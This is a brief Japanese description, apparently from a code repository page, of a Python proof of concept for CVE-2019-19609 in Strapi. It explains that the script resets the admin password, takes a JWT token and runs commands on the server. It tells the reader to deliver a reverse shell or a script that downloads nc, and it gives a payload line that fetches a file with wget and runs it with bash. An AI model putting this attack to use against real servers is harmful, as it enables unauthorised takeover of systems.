このスクリプトは、"updated_pass" 変数で宣言されたパスワードへのリセットを試みます。成功すると、Strapi から JWT トークンを取得し、それを使用してコマンドを実行します。 bind コマンドの実行は、bash や python などでリバースシェルペイロードを送信しない限り機能しません。.sh ファイルを生成して nc をダウンロードして実行させるなど、どんな方法でもかまいません。elf でも構いません。そのためには、payload_exp を && から ) に変更してください。例: && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL は無効になりました

CVE-2019-19609-POC-Python

人気